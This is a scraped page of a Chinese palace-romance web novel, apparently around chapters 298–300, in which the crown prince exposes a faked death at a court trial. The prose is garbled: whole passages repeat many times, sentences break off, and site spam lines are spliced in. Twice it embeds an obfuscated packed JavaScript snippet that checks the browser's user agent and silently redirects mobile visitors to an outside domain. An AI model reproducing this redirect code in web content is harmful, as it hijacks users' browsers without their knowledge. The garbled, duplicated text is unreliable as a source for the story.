云清婳的双眼泛红,眼泪在眼眶打转,“在你心里,皇位比我重要,所以哪怕我被下狱,你仍旧不会选择我。 他摇摇头,“蛮蛮,你怎么会这么想?我没救二哥,就说明我不爱你吗?我爱的是你,又不是你二哥! “裴墨染!你只爱你自己!她哭喊道。 裴墨染连忙给她擦眼泪,着急道:“怎么又哭了?看见你哭,我的心都疼了。我若是只爱自己,怎会夙兴夜寐一个月,为二哥探查真相? 她不说话,只是一味地流泪。 他握着她的手,贴在脸上,“蛮蛮,你千万别怄气,千万别憋在心里,你不高兴就打我。 云清婳阖上眼,不想看见他。 幸好,她可以靠自己。 救云褚,何须裴墨染? “有病。她抽回手。 裴墨染的心上有一块感觉空空的,他跟蛮蛮的距离,似乎越来越远了。 他抱着她,郑重的承诺:“蛮蛮,苏家人会自食恶果的,我已经查出些眉目了,只是还不敢确定,得验证后才敢说出来。 云清婳不语。 …… 三天一眨眼就到了。 当日,大理寺根据现有的证据宣判云褚斩首示众,但念着云褚是皇亲国戚,施展**与否要等官员集体审议,最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外,众人等候通传。 “太子妃,您若是求求我,我或许会考虑放你二哥一条生路。毕竟斯人已逝,云褚**,我二哥也不能复活。苏灵音阴冷地瞥着她。 云清婳有些好奇,“你想要什么? 她抚摸着肚子,用气音道:“我要你的儿子让出世子的位置,让我的孩子做世子! 云清婳抬眸,眼里掀起潋滟芳华,她一字一顿:“你二哥,死得好! 苏灵音的眼眸一眯,表情变得狰狞,“同样的话,我也送给太子妃! 周围的官员皆听见二人的争执,但他们假装听不见,把头压得很低。 天爷啊,这两位不会打起来吧? 你的朋友正在书荒,快去帮帮他吧 “在其位谋其事。倘若夫君只是肃王自然可以偏帮云家可夫君身为太子只能秉公执法不能留下把柄。”她善解人意地说。 他沉默了半晌低声开口:“你别唬我了今日我也对自己很失望。” “二哥为了救人被人做局。谢泽修、裴云澈都肯挺身而出可我一直隔岸观火。于公于私、于情于理我都愧对于心。” “蛮蛮我知道你不悦今日你都没用正眼看我。你看裴云澈、谢泽修时眼里是含着笑跟感激的。” 云清婳吐出一口浊气她正色道:“夫君倘若今日是我下狱你是不是也会如此?” 裴墨染不假思索:“自然不会。” “真的吗?”她冷笑。 “……”他被她的态度打得措手不及。 云清婳的双眼泛红眼泪在眼眶打转“在你心里皇位比我重要所以哪怕我被下狱你仍旧不会选择我。” 他摇摇头“蛮蛮你怎么会这么想?我没救二哥就说明我不爱你吗?我爱的是你 “裴墨染!你只爱你自己!”她哭喊道。 裴墨染连忙给她擦眼泪着急道:“怎么又哭了?看见你哭我的心都疼了。我若是只爱自己怎会夙兴夜寐一个月为二哥探查真相?” 她不说话只是一味地流泪。 他握着她的手贴在脸上“蛮蛮你千万别怄气千万别憋在心里你不高兴就打我。” 云清婳阖上眼不想看见他。 幸好她可以靠自己。 救云褚何须裴墨染? “有病。”她抽回手。 裴墨染的心上有一块感觉空空的他跟蛮蛮的距离似乎越来越远了。 他抱着她郑重的承诺:“蛮蛮苏家人会自食恶果的我已经查出些眉目了只是还不敢确定得验证后才敢说出来。” 云清婳不语。 …… 三天一眨眼就到了。 当日大理寺根据现有的证据宣判云褚斩首示众但念着云褚是皇亲国戚施展**与否要等官员集体审议最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外众人等候通传。 “太子妃您若是求求我我或许会考虑放你二哥一条生路。毕竟斯人已逝云褚**我二哥也不能复活。”苏灵音阴冷地瞥着她。 云清婳有些好奇“你想要什么?” 她抚摸着肚子用气音道:“我要你的儿子让出世子的位置让我的孩子做世子!” 云清婳抬眸眼里掀起潋滟芳华她一字一顿:“你二哥死得好!” 苏灵音的眼眸一眯表情变得狰狞“同样的话我也送给太子妃!” 周围的官员皆听见二人的争执但他们假装听不见把头压得很低。 天爷啊这两位不会打起来吧? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “在其位谋其事。倘若夫君只是肃王自然可以偏帮云家可夫君身为太子只能秉公执法不能留下把柄。”她善解人意地说。 他沉默了半晌低声开口:“你别唬我了今日我也对自己很失望。” “二哥为了救人被人做局。谢泽修、裴云澈都肯挺身而出可我一直隔岸观火。于公于私、于情于理我都愧对于心。” “蛮蛮我知道你不悦今日你都没用正眼看我。你看裴云澈、谢泽修时眼里是含着笑跟感激的。” 云清婳吐出一口浊气她正色道:“夫君倘若今日是我下狱你是不是也会如此?” 裴墨染不假思索:“自然不会。” “真的吗?”她冷笑。 “……”他被她的态度打得措手不及。 云清婳的双眼泛红眼泪在眼眶打转“在你心里皇位比我重要所以哪怕我被下狱你仍旧不会选择我。” 他摇摇头“蛮蛮你怎么会这么想?我没救二哥就说明我不爱你吗?我爱的是你又不是你二哥!” “裴墨染!你只爱你自己!”她哭喊道。 裴墨染连忙给她擦眼泪着急道:“怎么又哭了?看见你哭我的心都疼了。我若是只爱自己怎会夙兴夜寐一个月为二哥探查真相?” 她不说话 他握着她的手贴在脸上“蛮蛮你千万别怄气千万别憋在心里你不高兴就打我。” 云清婳阖上眼不想看见他。 幸好她可以靠自己。 救云褚何须裴墨染? “有病。”她抽回手。 裴墨染的心上有一块感觉空空的他跟蛮蛮的距离似乎越来越远了。 他抱着她郑重的承诺:“蛮蛮苏家人会自食恶果的我已经查出些眉目了只是还不敢确定得验证后才敢说出来。” 云清婳不语。 …… 三天一眨眼就到了。 当日大理寺根据现有的证据宣判云褚斩首示众但念着云褚是皇亲国戚施展**与否要等官员集体审议最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外众人等候通传。 “太子妃您若是求求我我或许会考虑放你二哥一条生路。毕竟斯人已逝云褚**我二哥也不能复活。”苏灵音阴冷地瞥着她。 云清婳有些好奇“你想要什么?” 她抚摸着肚子用气音道:“我要你的儿子让出世子的位置让我的孩子做世子!” 云清婳抬眸眼里掀起潋滟芳华她一字一顿:“你二哥死得好!” 苏灵音的眼眸一眯表情变得狰狞“同样的话我也送给太子妃!” 周围的官员皆听见二人的争执但他们假装听不见把头压得很低。 天爷啊这两位不会打起来吧? 你的朋友正在书荒,快去帮帮他吧 “在其位,谋其事。倘若夫君只是肃王,自然可以偏帮云家,可夫君身为太子,只能秉公执法,不能留下把柄。她善解人意地说。 他沉默了半晌,低声开口:“你别唬我了,今日我也对自己很失望。 “二哥为了救人,被人做局。谢泽修、裴云澈都肯挺身而出,可我一直隔岸观火。于公于私、于情于理,我都愧对于心。 “蛮蛮,我知道你不悦,今日你都没用正眼看我。你看裴云澈、谢泽修时,眼里是含着笑跟感激的。 云清婳吐出一口浊气,她正色道:“夫君,倘若今日是我下狱,你是不是也会如此? 裴墨染不假思索:“自然不会。 “真的吗?她冷笑。 “……他被她的态度打得措手不及。 云清婳的双眼泛红,眼泪在眼眶打转,“在你心里,皇位比我重要,所以哪怕我被下狱,你仍旧不会选择我。 他摇摇头,“蛮蛮,你怎么会这么想?我没救二哥,就说明我不爱你吗?我爱的是你,又不是你二哥! “裴墨染!你只爱你自己!她哭喊道。 裴墨染连忙给她擦眼泪,着急道:“怎么又哭了?看见你哭,我的心都疼了。我若是只爱自己,怎会夙兴夜寐一个月,为二哥探查真相? 她不说话,只是一味地流泪。 他握着她的手,贴在脸上,“蛮蛮,你千万别怄气,千万别憋在心里,你不高兴就打我。 云清婳阖上眼,不想看见他。 幸好,她可以靠自己。 救云褚,何须裴墨染? “有病。她抽回手。 裴墨染的心上有一块感觉空空的,他跟蛮蛮的距离,似乎越来越远了。 他抱着她,郑重的承诺:“蛮蛮,苏家人会自食恶果的,我已经查出些眉目了,只是还不敢确定,得验证后才敢说出来。 云清婳不语。 …… 三天一眨眼就到了。 当日,大理寺根据现有的证据宣判云褚斩首示众,但念着云褚是皇亲国戚,施展**与否要等官员集体审议,最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外,众人等候通传。 “太子妃,您若是求求我,我或许会考虑放你二哥一条生路。毕竟斯人已逝,云褚**,我二哥也不能复活。苏灵音阴冷地瞥着她。 云清婳有些好奇,“你想要什么? 她抚摸着肚子,用气音道:“我要你的儿子让出世子的位置,让我的孩子做世子! 云清婳抬眸,眼里掀起潋滟芳华,她一字一顿:“你二哥,死得好! 苏灵音的眼眸一眯,表情变得狰狞,“同样的话,我也送给太子妃! 周围的官员皆听见二人的争执,但他们假装听不见,把头压得很低。 天爷啊,这两位不会打起来吧? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “在其位,谋其事。倘若夫君只是肃王,自然可以偏帮云家,可夫君身为太子,只能秉公执法,不能留下把柄。”她善解人意地说。 他沉默了半晌,低声开口:“你别唬我了,今日我也对自己很失望。” “二哥为了救人,被人做局。谢泽修、裴云澈都肯挺身而出,可我一直隔岸观火。于公于私、于情于理,我都愧对于心。” “蛮蛮,我知道你不悦,今日你都没用正眼看我。你看裴云澈、谢泽修时,眼里是含着笑跟感激的。” 云清婳吐出一口浊气,她正色道:“夫君,倘若今日是我下狱,你是不是也会如此?” 裴墨染不假思索:“自然不会。” “真的吗?”她冷笑。 “……”他被她的态度打得措手 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当日,大理寺根据现有的证据宣判云褚斩首示众,但念着云褚是皇亲国戚,施展**与否要等官员集体审议,最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外,众人等候通传。 “太子妃,您若是求求我,我或许会考虑放你二哥一条生路。毕竟斯人已逝,云褚**,我二哥也不能复活。”苏灵音阴冷地瞥着她。 云清婳有些好奇,“你想要什么?” 她抚摸着肚子,用气音道:“我要你的儿子让出世子的位置,让我的孩子做世子!” 云清婳抬眸,眼里掀起潋滟芳华,她一字一顿:“你二哥,死得好!” 苏灵音的眼眸一眯,表情变得狰狞,“同样的话,我也送给太子妃!” 周围的官员皆听见二人的争执,但他们假装听不见,把头压得很低。 天爷啊,这两位不会打起来吧? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “在其位,谋其事。倘若夫君只是肃王,自然可以偏帮云家,可夫君身为太子,只能秉公执法,不能留下把柄。”她善解人意地说。 他沉默了半晌,低声开口:“你别唬我了,今日我也对自己很失望。” “二哥为了救人,被人做局。谢泽修、裴云澈都肯挺身而出,可我一直隔岸观火。于公于私、于情于理,我都愧对于心。” “蛮蛮,我知道你不悦,今日你都没用正眼看我。你看裴云澈、谢泽修时,眼里是含着笑跟感激的。” 云清婳吐出一口浊气,她正色道:“夫君,倘若今日是我下狱,你是不是也会如此?” 裴墨染不假思索:“自然不会。” “真的吗?”她冷笑。 “……”他被她的态度打得措手不及。 云清婳的双眼泛红,眼泪在眼眶打转,“在你心里,皇位比我重要,所以哪怕我被下狱,你仍旧不会选择我。” 他摇摇头,“蛮蛮,你怎么会这么想?我没救二哥,就说明我不爱你吗?我爱的是你,又不是你二哥!” “裴墨染!你只爱你自己!”她哭喊道。 裴墨染连忙给她擦眼泪,着急道:“怎么又哭了?看见你哭,我的心都疼了。我若是只爱自己,怎会夙兴夜寐一个月,为二哥探查真相?” 她不说话,只是一味地流泪。 他握着她的手,贴在脸上,“蛮蛮,你千万别怄气,千万别憋在心里,你不高兴就打我。” 云清婳阖上眼,不想看见他。 幸好,她可以靠自己。 救云褚,何须裴墨染? “有病。”她抽回手。 裴墨染的心上有一块感觉空空的,他跟蛮蛮的距离,似乎越来越远了。 他抱着她,郑重的承诺:“蛮蛮,苏家人会自食恶果的,我已经查出些眉目了,只是还不敢确定,得验证后才敢说出来。” 云清婳不语。 …… 三天一眨眼就到了。 当日,大理寺根据现有的证据宣判云褚斩首示众,但念着云褚是皇亲国戚,施展**与否要等官员集体审议,最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外,众人等候通传。 “太子妃,您若是求求我,我或许会考虑放你二哥一条生路。毕竟斯人已逝,云褚**,我二哥也不能复活。”苏灵音阴冷地瞥着她。 云清婳有些好奇,“你想要什么?” 她抚摸着肚子,用气音道:“我要你的儿子让出世子的位置,让我的孩子做世子!” 云清婳抬眸,眼里掀起潋滟芳华,她一字一顿:“你二哥,死得好!” 苏灵音的眼眸一眯,表情变得狰狞,“同样的话,我也送给太子妃!” 周围的官员皆听见二人的争执,但他们假装听不见,把头压得很低。 天爷啊,这两位不会打起来吧? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “在其位,谋其事。倘若夫君只是肃王,自然可以偏帮云家,可夫君身为太子,只能秉公执法,不能留下把柄。”她善解人意地说。 他沉默了半晌,低声开口:“你别唬我了,今日我也对自己很失望。” “二哥为了救人,被人做局。谢泽修、裴云澈都肯挺身而出,可我一直隔岸观火。于公于私、于情于理,我都愧对于心。” “蛮蛮,我知道你不悦,今日你都没用正眼看我。你看裴云澈、谢泽修时,眼里是含着笑跟感激的。” 云清婳吐出一口浊气,她正色道:“夫君,倘若今日是我下狱,你是不是也会如此?” 裴墨染不假思索:“自然不会。” “真的吗?”她冷笑。 “……”他被她的态度打得措手不及。 云清婳的双眼泛红,眼泪在眼眶打转,“在你心里,皇位比我重要,所以哪怕我被下狱,你仍旧不会选择我。” 他摇摇头,“蛮蛮,你怎么会这么想?我没救二哥,就说明我不爱你吗?我爱的是你,又不是你二哥!” “裴墨染!你只爱你自己!”她哭喊道。 裴墨染连忙给她擦眼泪,着急道:“怎么又哭了?看见你哭,我的心都疼了。我若是只爱自己,怎会夙兴夜寐一个月,为二哥探查真相?” 她不说话,只是一味地流泪。 他握着她的手,贴在脸上,“蛮蛮,你千万别怄气,千万别憋在心里,你不高兴就打我。” 云清婳阖上眼,不想看见他。 幸好,她可以靠自己。 救云褚,何须裴墨染? “有病。”她抽回手。 裴墨染的心上有一块感觉空空的,他跟蛮蛮的距离,似乎越来越远了。 他抱着她,郑重的承诺:“蛮蛮,苏家人会自食恶果的,我已经查出些眉目了,只是还不敢确定,得验证后才敢说出来。” 云清婳不语。 …… 三天一眨眼就到了。 当日,大理寺根据现有的证据宣判云褚斩首示众,但念着云褚是皇亲国戚,施展**与否要等官员集体审议,最终再由皇帝裁决。 皇上把苏家、云家人以及监察院一品官员召集到御书房。 云清婳、苏灵音皆在行列。 门外,众人等候通传。 “太子妃,您若是求求我,我或许会考虑放你二哥一条生路。毕竟斯人已逝,云褚**,我二哥也不能复活。”苏灵音阴冷地瞥着她。 云清婳有些好奇,“你想要什么?” 她抚摸着肚子,用气音道:“我要你的儿子让出世子的位置,让我的孩子做世子!” 云清婳抬眸,眼里掀起潋滟芳华,她一字一顿:“你二哥,死得好!” 苏灵音的眼眸一眯,表情变得狰狞,“同样的话,我也送给太子妃!” 周围的官员皆听见二人的争执,但他们假装听不见,把头压得很低。 天爷啊,这两位不会打起来吧? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第299章 审判开始!蛮蛮来翻案 御前太监拿着拂尘走了出来,“陛下传召!” “是。” 众人陆陆续续走进御书房。 最前面的裴墨染刻意停下步伐,等待云清婳走到身侧。 等云清婳路过时,他伸出手想要扶她。 可云清婳身子一躲,闪开了。 他的眸色一黯,稍显委屈,“蛮蛮……” 裴云澈从他们身边经过时,压低声音道:“蛮蛮,把罪责推到那女子身上吧,先保下云二公子再说。” “嗯。”云清婳有这个打算。 是非黑白不重要,保下云褚最重要。 若是能让那女子背锅最好,毕竟她可不无辜。 裴墨染气闷,他们就这么明晃晃的密谋? 当他这个主审官**? “蛮蛮,莫要听他的。”裴墨染想要牵她的手。 云清婳立即后退两步。 云丞相、云隽看着二人在御书房门前闹别,立即上前。 “蛮蛮,莫要闹性子。”云丞相压低声音道。 她掀起眼皮,瞪了裴墨染一眼,“看见你就来气!离我远点!” 云清婳绕到云丞相身侧,随他进门。 “……”裴墨染尴尬地站在原地。 他看见十皇子,故作镇定道:“你皇嫂脾气越发大了!就因为本宫没替云褚求情?本宫可是主审官,替云褚求情像什么话?” 十皇子是陪云蓉来的。 他轻拍了拍裴墨染的肩膀,戏谑道:“四哥,女人要的是一个态度!看来你的态度不好!” “靖哥哥,我们快走吧。”云蓉瞥了裴墨染一眼,眼神透着鄙夷。 “好。” 二人十指相扣走进去。 裴墨染气闷。 到了御书房,云褚已经跪在大厅中央。 苏家人愤恨地瞪着他。 安怀老泪纵横,“不急着让他斩首!他要在盛儿的坟前磕上九九八十一个响头才能**!” “对!”苏家人齐声道。 云丞相看着云褚,擦了擦眼角的泪。 不到两个月,云褚清瘦了不少。 皇上坐在上首,他面无波澜,表情肃穆,强大的气场铺天盖地席卷而来,“大理寺的决议已经 下来了但云褚是当朝太子妃的兄长是皇亲国戚他本意又是为了救人才失手**众爱卿觉得该不该免**刑?” 监察院的官员纷纷露出同情的眼神。 众人蠢蠢欲动。 安怀哽咽道:“若死的是其他人也就罢了!但盛儿可是皇后的亲侄子盛儿也是皇亲国戚啊!求陛下重判!” “求陛下重判。”苏家人纷纷跪下**。 云丞相出列他跪下道:“陛下倘若见义勇为之士不得好死敢问日后还有谁肯施以援手?民间定会不得安宁!” “什么见义勇为?那女子都说了是你儿子多管闲事!他们本就是有情人只是在嬉闹!”苏将军反唇相讥。 “当街百姓都可以作证!苏盛当街脱那女子衣物女子惊呼救命任谁看了都以为是恶徒非礼!要么是那女子有问题要么便是有人故意设局陷害!”云隽也跪下。 苏将军怒道:“你什么意思?难道我们苏家会用盛儿的性命做局害人不成?” “稍安勿躁!”皇上抬手往下按了按 苏家人接连发出冷嘁声十分不屑。 云家人也小声道:“谁稀罕啊?” 苏将军高声道:“灵音嫁给太子殿下是灵音的福气!但我们苏家不敢跟云家攀亲求陛下开恩重判云褚!” 皇上捋着胡子深沉地看着下首的众人。 苏家真是油盐不进。 他本意自然是想保下云褚的性命。 毕竟云清婳救过他一命云褚也明显是被算计了。 “还请陛下应允儿臣为家兄说几句话。”云清婳走上前。 裴墨染并不惊讶云清婳的行为只是感到心痛。 蛮蛮这是彻底不信他了所以准备亲自替兄长翻案。 皇上颔首“太子妃说吧。” 云清婳跪下“如今的疑点是那位女子!她先后态度不一一定是受人指使!还请陛下提审那位女子。” 皇上瞥着大理寺的官员“把那女子带上来。” 大理寺官员局促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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完整章节)她又道:“陛下儿臣查到一些轶事。黄萱儿十四岁就嫁人了她跟苏公子去年七夕相识还当街打情骂俏夫家人不管吗? 此女子就算没有幕后之人指使也是满口谎言心思莫测不可采信!要惩戒也该惩戒黄萱儿惹是生非!” 她每说一句黄萱儿的面色就愈发白一分。 第300章 苏家耍不要脸 “这个贱妇不守妇道勾引吾儿可怜吾儿被蒙在鼓里但这跟云褚**有什么关系?太子妃不要东拉西扯混为一谈!”苏将军一脸鄙夷很是瞧不起云清婳。 “一个女人也好意思出来说话?牛头不对马嘴真是招笑!”苏家小公子嘲讽翻了个白眼。 安怀重重叩首“陛下我们不答应从轻处置!请您重判!别让太子妃拖延时间了!” 皇上叹了口气“太子妃就算这女子品行低劣也不能是云褚开脱的理由!诸位大人怎么看?” 苏家人纷纷跪下“请陛下重判云褚**偿命天经地义!” 云家人跪下:“求圣上开恩 监察院的官员面面相觑五成人认为云褚是皇亲国戚又为救人才失了手应该从轻处罚。 又有一半人认为苏盛也是皇亲国戚并且是皇后的亲侄儿兹事体大为了维护皇权不能善罢甘休。 皇上的眼神逐渐化为同情、怜悯他看向裴墨染“太子你怎么看?双方都算是你的郎舅啊。” 裴墨染出列他跪在云清婳身边“儿臣查出了真相苏盛根本没死!” 此话如平地惊雷众**惊发出惊呼。 “什么?没死?” “怎么可能?听说衣服都成血衣了流了好多血……” “一剑就插到左边胸口上了怎么可能没死?” 云褚浑浊的双眼渐渐有了神采他睁大了眼睛看了看自己的右手恍恍惚惚地重复他的话:“没死、他没死……?” “本宫前几日命人挖开了苏盛的坟墓撬开了棺材里面的人绝对不是苏盛!恐怕是有人李代桃僵设局污蔑云褚。”裴墨染字字铿锵。 苏家众人瞪圆了眼。 “什么……吾儿的坟都被挖开了?” “天啊!吾儿不得安宁啊!” 就在这时御书房的门被推开。 皇后颤颤巍巍地走进来面色惨白她发出低低的哀嚎“呜呜呜……可怜的盛儿啊你死不安宁啊你尸骨未寒坟墓居然被挖开墨染他好歹是你的表弟啊!你怎能如此狠心?” “母后儿臣只是秉公办案。”裴墨染面目表情道。 “你怎能这么对盛儿?你太狠心了!你怎能擅自开棺?怎么可以?”皇后絮絮不止。 皇上的脸黑透了,皇后擅闯御书房,偷听他们说话,哭闹不止,跟疯妇有什么区别? “皇后病重,神志不清,扶她回去!”皇上不容置喙。 皇后的眼泪扑簌簌地落,“皇上……” “快!”皇上嫌弃地摆摆手。 御前嬷嬷跟御前太监连拖带拽将她扶走。 云清婳的嘴角扬起不明显的弧度。 皇后是来丢人的吗? 同时,她也有些意外。 没想到裴墨染也查出来了。 “太子殿下,您怎能擅自挖开盛儿的坟墓?按照天理人伦,您好歹也知会微臣一声啊。”苏将军抹着眼泪。 “盛儿、盛儿……”安怀扶着胸口,呼吸急促。 砰—— 他白眼一翻,昏了过去。 “安大人……”众人惊呼。 皇上立即传召赵太医医治。 苏将军怒目圆睁,苏灵音的脸色也变得复杂。 “殿下,您怎能确定那不是盛儿?都一个多月了,尸身难免面目全非啊……”苏将军一副痛心疾首的表情。 裴墨染的眼神尖锐,从苏将军身上狠狠刮过,冷声道:“尸身还没完全腐烂,本宫恰好在边关待了十年,见过无数尸首,略有研究,那张脸绝不是苏盛的。” 他分析道:“退一万步说,那尸体虽然跟苏盛等高等重,相貌相似,但他的手心、虎口长满老茧,上半身黢黑,明显是个风吹日晒,干粗活的壮汉!” 苏夫人脖子一扬,哽咽道:“我们盛儿常常习武,热时脱下衣襟打着赤膊,他也有老茧,也被晒黑了,不行吗?” “自然可以。”裴墨染冷笑,“但尸体的右手大拇指与右手食指第二个关节肌肤细腻,没有丝毫长茧的迹象,这是怎么回事?” 苏灵音正想说话,苏夫人脱口而出,“这有什么错吗?我们盛儿养尊处优,手不长茧子怎么了?” 话音刚落,云家人嗤嗤地笑了。 十皇子扑哧一声,直接笑喷了。 裴墨染挑起左边眉宇,神色嘲讽至极,“没什么错!只是,你家盛儿难道从没写过字?” “……”苏夫人这才反应过来。 她惊慌不已,下意识求救地看向苏将军。 “两只手本宫都检查了,皆没有写字磨出的茧子。别跟本宫说,苏盛许久没碰过毛笔了!本宫在边关十年,舞文弄墨的次数甚少,但十二岁之前留下的茧子至今还在。”裴墨染眼神一瞥,如有实质般刺到苏夫人身上。 苏夫人的腿都软了,扑通一声瘫跪了下去。 他步步紧逼,论证逻辑严密,咬死不放。 苏家人被怼得哑口无言。 云隽讽刺道:“不会吧?就算苏家是出了名的武将世家,也不能一点字都不学吧?” 十皇子嘲讽,“不写字,那应该也不识字吧?滑天下之大稽,皇后的亲侄儿居然不识字?” 人群中不知谁开口说了一句:“苏家的家风真好啊,大儿子跟小女儿在万寿节乱来,小儿子**断指,二儿子不识字,苏侧妃曾将太子妃推下二楼……佩服佩服啊!” 苏家人被说得面红耳赤,简直无所遁形。 苏灵音气得小腹隐隐作痛,她吓出了眼泪,也哭着求太医给自己看看。 一时之间,苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话,皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染,眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 裴墨染看向她,眼神委屈,但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩,就是不会写字如何?”苏将军的气势弱了一半,“太子殿下总不能因为盛儿目不识丁就这么冤枉他,让他死后变成无主孤魂吧?” 苏夫人捂着脸抽抽噎噎地哭起来,“呜呜呜……对,吾儿就是不爱做学问,但那又如何?他不识字也是父母的心头肉!” 云家人被气得不轻。 “这不是耍不要脸吗?”一个云家的旁支公子涨红了脸。 你的朋友正在书荒,快去帮帮他吧 “……”苏夫人这才反应过来。 她惊慌不已下意识求救地看向苏将军。 “两只手本宫都检查了皆没有写字磨出的茧子。别跟本宫说苏盛许久没碰过毛笔了!本宫在边关十年舞文弄墨的次数甚少但十二岁之前留下的茧子至今还在。”裴墨染眼神一瞥如有实质般刺到苏夫人身上。 苏夫人的腿都软了扑通一声瘫跪了下去。 他步步紧逼论证逻辑严密咬死不放。 苏家人被怼得哑口无言。 云隽讽刺道:“不会吧?就算苏家是出了名的武将世家也不能一点字都不学吧?” 十皇子嘲讽“不写字那应该也不识字吧?滑天下之大稽皇后的亲侄儿居然不识字?” 人群中不知谁开口说了一句:“苏家的家风真好啊大儿子跟小女儿在万寿节乱来小儿子**断指二儿子不识字苏侧妃曾将太子妃推下二楼……佩服佩服啊!” 苏家人被说得面红耳赤简直无所遁形。 苏灵音气得小腹隐隐作痛她吓出了眼泪 一时之间苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 裴墨染看向她眼神委屈但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩就是不会写字如何?”苏将军的气势弱了一半“太子殿下总不能因为盛儿目不识丁就这么冤枉他让他死后变成无主孤魂吧?” 苏夫人捂着脸抽抽噎噎地哭起来“呜呜呜……对吾儿就是不爱做学问但那又如何?他不识字也是父母的心头肉!” 云家人被气得不轻。 “这不是耍不要脸吗?”一个云家的旁支公子涨红了脸。 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苏家人被说得面红耳赤,简直无所遁形。 苏灵音气得小腹隐隐作痛,她吓出了眼泪,也哭着求太医给自己看看。 一时之间,苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话,皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染,眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 裴墨染看向她,眼神委屈,但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩,就是不会写字如何?苏将军的气势弱了一半,“太子殿下总不能因为盛儿目不识丁就这么冤枉他,让他死后变成无主孤魂吧? 苏夫人捂着脸抽抽噎噎地哭起来,“呜呜呜……对,吾儿就是不爱做学问,但那又如何?他不识字也是父母的心头肉! 云家人被气得不轻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216293|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这不是耍不要脸吗?一个云家的旁支公子涨红了脸。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “……”苏夫人这才反应过来。 她惊慌不已下意识求救地看向苏将军。 “两只手本宫都检查了皆没有写字磨出的茧子。别跟本宫说苏盛许久没碰过毛笔了!本宫在边关十年舞文弄墨的次数甚少但十二岁之前留下的茧子至今还在。”裴墨染眼神一瞥如有实质般刺到苏夫人身上。 苏夫人的腿都软了扑通一声瘫跪了下去。 他步步紧逼论证逻辑严密咬死不放。 苏家人被怼得哑口无言。 云隽讽刺道:“不会吧?就算苏家是出了名的武将世家也不能一点字都不学吧?” 十皇子嘲讽“不写字那应该也不识字吧?滑天下之大稽皇后的亲侄儿居然不识字?” 人群中不知谁开口说了一句:“苏家的家风真好啊大儿子跟小女儿在万寿节乱来小儿子**断指二儿子不识字苏侧妃曾将太子妃推下二楼……佩服佩服啊!” 苏家人被说得面红耳赤简直无所遁形。 苏灵音气得小腹隐隐作痛她吓出了眼泪也哭着求太医给自己看看。 一时之间苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 裴墨染看向她眼神委屈但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩就是不会写字如何?”苏将军的气势弱了一半“太子殿下总不能因为盛儿目不识丁就这么冤枉他 苏夫人捂着脸抽抽噎噎地哭起来“呜呜呜……对吾儿就是不爱做学问但那又如何?他不识字也是父母的心头肉!” 云家人被气得不轻。 “这不是耍不要脸吗?”一个云家的旁支公子涨红了脸。 你的朋友正在书荒,快去帮帮他吧 “……”苏夫人这才反应过来。 她惊慌不已 “两只手本宫都检查了皆没有写字磨出的茧子。别跟本宫说苏盛许久没碰过毛笔了!本宫在边关十年舞文弄墨的次数甚少但十二岁之前留下的茧子至今还在。”裴墨染眼神一瞥如有实质般刺到苏夫人身上。 苏夫人的腿都软了扑通一声瘫跪了下去。 他步步紧逼论证逻辑严密咬死不放。 苏家人被怼得哑口无言。 云隽讽刺道:“不会吧?就算苏家是出了名的武将世家也不能一点字都不学吧?” 十皇子嘲讽“不写字那应该也不识字吧?滑天下之大稽皇后的亲侄儿居然不识字?” 